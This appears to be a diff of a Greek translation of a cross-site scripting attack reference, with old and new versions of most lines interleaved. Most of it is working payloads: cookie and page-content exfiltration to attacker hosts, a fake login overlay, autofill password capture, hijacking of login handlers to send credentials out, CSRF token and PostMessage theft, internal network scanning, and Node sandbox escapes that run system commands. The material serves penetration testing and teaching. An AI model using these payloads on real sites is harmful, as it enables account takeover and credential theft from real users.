Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα **vulnerable subdomain to XSS**, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα subdomains (αυτά που είναι vulnerable σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε το cookie tossing attack:
|
||||
Αν μπορείτε να ενεργοποιήσετε ένα XSS στέλνοντας το payload μέσα σε cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα ευάλωτο subdomain σε XSS, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain και να καταφέρετε να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα subdomains (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την cookie tossing attack:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Μπορείτε να βρείτε ένα εξαιρετικό παράδειγμα κατάχρησης αυτής της τεχνικής σε [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Μπορείτε να βρείτε μια εξαιρετική κατάχρηση αυτής της τεχνικής σε [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Sending your session to the admin
|
||||
|
||||
Ίσως ένας χρήστης να μπορεί να μοιραστεί το προφίλ του με τον admin και αν το self XSS βρίσκεται μέσα στο προφίλ του χρήστη και ο admin το ανοίξει, θα ενεργοποιήσει την ευπάθεια.
|
||||
Ίσως ένας χρήστης μπορεί να μοιραστεί το προφίλ του με τον admin και αν το self XSS βρίσκεται μέσα στο προφίλ του χρήστη και ο admin το επισκεφθεί, θα ενεργοποιήσει την ευπάθεια.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **session mirroring for administrators**, για παράδειγμα επιτρέποντας στους clients να ζητήσουν βοήθεια και ώστε ο admin να σας βοηθήσει, αυτός θα βλέπει ό,τι βλέπετε στη session σας αλλά από τη δική του session.
|
||||
Αν βρείτε κάποιο self XSS και η σελίδα παρέχει **session mirroring for administrators**, για παράδειγμα επιτρέποντας στους πελάτες να ζητήσουν βοήθεια και έτσι ώστε ο admin για να σας βοηθήσει να βλέπει ό,τι βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.
|
||||
|
||||
Μπορείτε να κάνετε τον **administrator να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/session του.
|
||||
Μπορείτε να κάνετε τον **administrator να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/τη συνεδρία του.
|
||||
|
||||
## Άλλες Παράκαμψεις
|
||||
|
||||
### Bypassing sanitization via WASM linear-memory template overwrite
|
||||
|
||||
Όταν μια web εφαρμογή χρησιμοποιεί Emscripten/WASM, constant strings (όπως HTML format stubs) βρίσκονται σε εγγράψιμη linear memory. Μια μοναδική in‑WASM overflow (π.χ. unchecked memcpy σε μονοπάτι επεξεργασίας) μπορεί να καταστρέψει γειτονικές δομές και να ανακατευθύνει εγγραφές σε αυτές τις σταθερές. Επικαλύπτοντας ένα template όπως "<article><p>%.*s</p></article>" με "<img src=1 onerror=%.*s>" μετατρέπει το εξυγιασμένο input σε τιμή JavaScript handler και παράγει άμεσο DOM XSS κατά την απόδοση.
|
||||
|
||||
Δείτε την αφιερωμένη σελίδα με το exploitation workflow, DevTools memory helpers, και τις άμυνες:
|
||||
|
||||
{{#ref}}
|
||||
wasm-linear-memory-template-overwrite-xss.md
|
||||
{{#endref}}
|
||||
|
||||
## Άλλες Παρακάμψεις
|
||||
|
||||
### Normalised Unicode
|
||||
|
||||
Μπορείτε να ελέγξετε αν οι **reflected values** υποβάλλονται σε **unicode normalized** στον server (ή στο client side) και να καταχραστείτε αυτή τη λειτουργία για να παρακάμψετε προστασίες. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Μπορείτε να ελέγξετε αν οι **reflected values** υφίστανται **unicode normalized** στον server (ή στην πλευρά του client) και να καταχραστείτε αυτή τη λειτουργία για να παρακάμψετε προστασίες. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails παράκαμψη
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Λόγω του **RoR mass assignment** εισάγονται εισαγωγικά στο HTML και έτσι ο περιορισμός των εισαγωγικών παρακάμπτεται και επιπλέον πεδία (onfocus) μπορούν να προστεθούν μέσα στο tag.\
|
||||
Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), αν στείλεις το payload:
|
||||
Εξαιτίας του **RoR mass assignment** εισάγονται εισαγωγικά στο HTML και έτσι ο περιορισμός των εισαγωγικών παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στο tag.\
|
||||
Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), εάν στείλετε το payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
Το ζεύγος "Key","Value" θα εμφανιστεί ως εξής:
|
||||
Το ζεύγος "Key","Value" θα εμφανιστεί έτσι:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Τότε, θα εισαχθεί το χαρακτηριστικό onfocus και θα προκληθεί XSS.
|
||||
Στη συνέχεια, το χαρακτηριστικό onfocus θα εισαχθεί και θα προκύψει XSS.
|
||||
|
||||
### Ειδικοί συνδυασμοί
|
||||
```html
|
||||
@ -862,24 +877,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS με header injection σε απάντηση 302
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
Αν διαπιστώσετε ότι μπορείτε να **inject headers σε μια 302 Redirect response** μπορείτε να προσπαθήσετε να **κάνετε το browser να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι browsers δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο.
|
||||
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. Αυτό δεν είναι **trivial** καθώς τα σύγχρονα browsers δεν ερμηνεύουν το σώμα της HTTP response εάν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο.
|
||||
|
||||
Στα [**this report**](https://www.gremwell.com/firefox-xss-302) και [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς να δοκιμάσετε διάφορα πρωτόκολλα μέσα στο Location header και να δείτε αν κάποιο από αυτά επιτρέπει στο browser να ελέγξει και να εκτελέσει το XSS payload μέσα στο body.\
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
|
||||
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
### Μόνο γράμματα, αριθμοί και τελείες
|
||||
|
||||
Αν μπορείτε να ορίσετε το **callback** που πρόκειται να εκτελέσει η javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Read this section of this post**](#javascript-function) για να μάθετε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
|
||||
If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Αν προσπαθήσετε να φορτώσετε ένα script με **content-type** όπως `application/octet-stream`, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Οι μόνες **Content-Type**s που θα επιτρέψουν στο Chrome να τρέξει ένα **loaded script** είναι αυτές που βρίσκονται μέσα στην const **`kSupportedJavascriptTypes`** από [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -901,16 +916,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Τύποι script για XSS
|
||||
### Τύποι Script για XSS
|
||||
|
||||
(Από [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Άρα, ποιοι τύποι μπορούν να δηλωθούν για να φορτώσουν ένα script;
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Λοιπόν, ποιοι τύποι μπορούν να υποδειχθούν για τη φόρτωση ενός script;
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
Η απάντηση είναι:
|
||||
|
||||
- **module** (προεπιλογή, δεν χρειάζεται εξήγηση)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles είναι μια λειτουργία που σας επιτρέπει να συσκευάσετε μια συλλογή δεδομένων (HTML, CSS, JS…) μαζί σε ένα αρχείο **`.wbn`**.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles είναι μια δυνατότητα που σας επιτρέπει να πακετάρετε πολλά δεδομένα (HTML, CSS, JS…) μαζί σε ένα αρχείο **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -937,9 +952,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) για να αντιστοιχιστεί μια βιβλιοθήκη στο eval — η κατάχρησή της μπορεί να ενεργοποιήσει XSS.
|
||||
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) για να επαναχάρτησει μια βιβλιοθήκη σε eval ώστε η κατάχρησή της να μπορεί να προκαλέσει XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η λειτουργία αποσκοπεί κυρίως στην επίλυση ορισμένων προβλημάτων που προκαλούνται από το pre-rendering. Λειτουργεί ως εξής:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτό το χαρακτηριστικό έχει κυρίως σχεδιαστεί για να επιλύσει κάποια προβλήματα που προκαλούνται από το pre-rendering. Λειτουργεί ως εξής:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -957,7 +972,7 @@ import { partition } from "lodash"
|
||||
```
|
||||
### Web Content-Types για XSS
|
||||
|
||||
(Από [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Οι παρακάτω Content-Types μπορούν να εκτελέσουν XSS σε όλους τους browsers:
|
||||
(Από [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Οι παρακάτω content types μπορούν να εκτελέσουν XSS σε όλους τους browsers:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -968,11 +983,11 @@ import { partition } from "lodash"
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
Σε άλλους browsers, άλλα **`Content-Types`** μπορούν να χρησιμοποιηθούν για να εκτελέσουν αυθαίρετο JS, δες: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### xml Τύπος Περιεχομένου
|
||||
|
||||
Αν η σελίδα επιστρέφει content-type text/xml, είναι δυνατό να υποδειχθεί ένα namespace και να εκτελεστεί αυθαίρετο JS:
|
||||
Αν η σελίδα επιστρέφει content-type text/xml, είναι δυνατό να δηλώσετε ένα namespace και να εκτελέσετε αυθαίρετο JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -982,11 +997,11 @@ import { partition } from "lodash"
|
||||
```
|
||||
### Ειδικά Πρότυπα Αντικατάστασης
|
||||
|
||||
Όταν χρησιμοποιείται κάτι σαν **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", <user_input>)`**, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Για παράδειγμα, στο [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **scape a JSON string** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
|
||||
Για παράδειγμα στο [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **scape a JSON string** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
### Chrome Cache σε XSS
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -995,7 +1010,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
Αν έχεις μόνο περιορισμένο σύνολο χαρακτήρων προς χρήση, έλεγξε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
|
||||
Εάν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων διαθέσιμο, δείτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1026,14 +1041,14 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Αν **όλα είναι undefined** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "εκ του μηδενός" για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
|
||||
Αν **όλα είναι undefined** πριν από την εκτέλεση μη αξιόπιστου κώδικα (όπως στο [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα «από το τίποτα» για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
|
||||
|
||||
- Χρήση import()
|
||||
- Χρησιμοποιώντας import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Πρόσβαση στο `require` έμμεσα
|
||||
- Έμμεση πρόσβαση στο `require`
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως φαίνεται παρακάτω:
|
||||
```javascript
|
||||
@ -1041,7 +1056,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Επομένως, αν από εκείνη τη μονάδα μπορούμε να **καλέσουμε άλλη συνάρτηση**, είναι δυνατόν να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από αυτή τη συνάρτηση για να αποκτήσουμε πρόσβαση στο **`require`**:
|
||||
Επομένως, αν από εκείνο το module μπορούμε να **καλέσουμε μια άλλη συνάρτηση**, είναι δυνατό να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από εκείνη τη συνάρτηση για να αποκτήσουμε πρόσβαση στο **`require`**:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1050,7 +1065,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να **use error handlers** για να αποκτήσετε πρόσβαση στον **wrapper** του **module** και να πάρετε τη **`require`** function:
|
||||
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να **χρησιμοποιήσετε χειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** του module και να πάρετε τη συνάρτηση **`require`**:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1088,9 +1103,9 @@ console.log(req("child_process").execSync("id").toString())
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
### Απόκρυψη & Προηγμένη Παράκαμψη
|
||||
|
||||
- **Διαφορετικές obfuscations σε μία σελίδα:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **Διάφορες τεχνικές απόκρυψης σε μία σελίδα:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
@ -1269,7 +1284,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS common payloads
|
||||
## XSS κοινά payloads
|
||||
|
||||
### Πολλαπλά payloads σε 1
|
||||
|
||||
@ -1280,7 +1295,7 @@ steal-info-js.md
|
||||
|
||||
### Iframe Trap
|
||||
|
||||
Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από το iframe και να υποκλέψετε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες):
|
||||
Κάνε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από το iframe και να κλέψεις τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1310,9 +1325,9 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> **Δεν θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από JavaScript** αν το flag HTTPOnly έχει οριστεί στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
|
||||
> Δεν θα μπορείτε να έχετε πρόσβαση στα **cookies από JavaScript** αν το HTTPOnly flag έχει οριστεί στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
|
||||
|
||||
### Κλέψτε το περιεχόμενο της σελίδας
|
||||
### Κλοπή περιεχομένου σελίδας
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
var attacker = "http://10.10.14.8/exfil"
|
||||
@ -1325,7 +1340,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### Εύρεση εσωτερικών διευθύνσεων IP
|
||||
### Εύρεση εσωτερικών IPs
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1401,15 +1416,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Σύντομοι χρόνοι υποδεικνύουν θύρα που ανταποκρίνεται_ _Μεγαλύτεροι χρόνοι υποδεικνύουν μη ανταπόκριση._
|
||||
_Οι σύντομοι χρόνοι υποδεικνύουν μια θύρα που ανταποκρίνεται_ _Οι μεγαλύτεροι χρόνοι υποδεικνύουν μη ανταπόκριση._
|
||||
|
||||
Ελέγξτε τη λίστα θυρών που απαγορεύονται στο Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στον Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Ελέγξτε τη λίστα των θυρών που απαγορεύονται στο Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Πλαίσιο για να ζητήσετε credentials
|
||||
### Πλαίσιο για αίτηση διαπιστευτηρίων
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Καταγραφή κωδικών Auto-fill
|
||||
### Καταγραφή Auto-fill passwords
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
@ -1420,11 +1435,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
|
||||
Όταν εισάγονται δεδομένα στο πεδίο password, το username και το password αποστέλλονται στον attacker server — ακόμη και αν ο client επιλέξει ένα saved password και δεν γράψει τίποτα, τα credentials θα ex-filtrated.
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
Αν ένας κρίσιμος handler (π.χ., `function DoLogin(){...}`) δηλώνεται αργότερα στη σελίδα, και το payload σας τρέχει νωρίτερα (π.χ., μέσω ενός inline JS-in-JS sink), ορίστε πρώτα ένα `const` με το ίδιο όνομα για να προλάβετε και να κλειδώσετε τον handler. Μετέπειτα δηλώσεις function δεν μπορούν να rebind ένα `const` όνομα, αφήνοντας το hook σας υπό έλεγχο:
|
||||
Εάν ένας κρίσιμος handler (π.χ., `function DoLogin(){...}`) δηλώνεται αργότερα στη σελίδα, και το payload σας τρέχει νωρίτερα (π.χ., μέσω ενός inline JS-in-JS sink), ορίστε πρώτα ένα `const` με το ίδιο όνομα για να προλάβετε και να κλειδώσετε τον handler. Αργότερες δηλώσεις function δεν μπορούν να επαναδεσμεύσουν ένα `const` όνομα, αφήνοντας το hook σας υπό έλεγχο:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1433,20 +1448,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
||||
```
|
||||
Σημειώσεις
|
||||
- Αυτό βασίζεται στη σειρά εκτέλεσης: your injection πρέπει να εκτελεστεί πριν από την νόμιμη δήλωση.
|
||||
- Αν το payload σας είναι τυλιγμένο σε `eval(...)`, οι δεσμεύσεις `const/let` δεν θα γίνουν globals. Χρησιμοποιήστε τη δυναμική `<script>` injection τεχνική από την ενότητα “Deliverable payloads with eval(atob()) and scope nuances” για να εξασφαλίσετε μια αληθινή global, μη-επαναδεσμεύσιμη δεσμεύση.
|
||||
- Όταν φίλτρα λέξεων-κλειδιών μπλοκάρουν κώδικα, συνδυάστε με Unicode-escaped identifiers ή παράδοση `eval(atob('...'))`, όπως φαίνεται παραπάνω.
|
||||
- Αυτό βασίζεται στη σειρά εκτέλεσης: το injection σας πρέπει να εκτελεστεί πριν από τη νόμιμη δήλωση.
|
||||
- Αν το payload σας είναι τυλιγμένο σε `eval(...)`, οι δεσμεύσεις `const/let` δεν θα γίνουν globals. Χρησιμοποιήστε τη δυναμική `<script>` injection technique από το τμήμα “Deliverable payloads with eval(atob()) and scope nuances” για να εξασφαλίσετε ένα πραγματικό global, non-rebindable binding.
|
||||
- Όταν φίλτρα λέξεων-κλειδιών μπλοκάρουν κώδικα, συνδυάστε με Unicode-escaped identifiers ή `eval(atob('...'))` delivery, όπως φαίνεται παραπάνω.
|
||||
|
||||
### Keylogger
|
||||
|
||||
Απλώς ψάχνοντας στο github βρήκα μερικά διαφορετικά:
|
||||
Ψάχνοντας στο github βρήκα μερικά διαφορετικά:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Μπορείτε επίσης να χρησιμοποιήσετε το metasploit `http_javascript_keylogger`
|
||||
|
||||
### Κλοπή CSRF tokens
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
@ -1461,7 +1476,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### Κλοπή μηνυμάτων PostMessage
|
||||
### Υποκλοπή μηνυμάτων PostMessage
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
@ -1559,7 +1574,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
|
||||
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) μπορεί κανείς να μάθει ότι ακόμη και αν μερικές τιμές εξαφανιστούν από το JS, εξακολουθεί να είναι δυνατό να τις βρει κανείς σε JS attributes σε διαφορετικά objects. Για παράδειγμα, ένα input ενός REGEX εξακολουθεί να είναι δυνατό να βρεθεί μετά την αφαίρεση της τιμής του input του regex:
|
||||
Από [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατό να μάθει κανείς ότι ακόμη και αν μερικές τιμές εξαφανιστούν από το JS, εξακολουθεί να είναι δυνατόν να τις βρει στα JS attributes σε διαφορετικά objects. Για παράδειγμα, ένα input ενός REGEX εξακολουθεί να μπορεί να εντοπιστεί μετά την αφαίρεση της value του input του regex:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1587,7 +1602,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
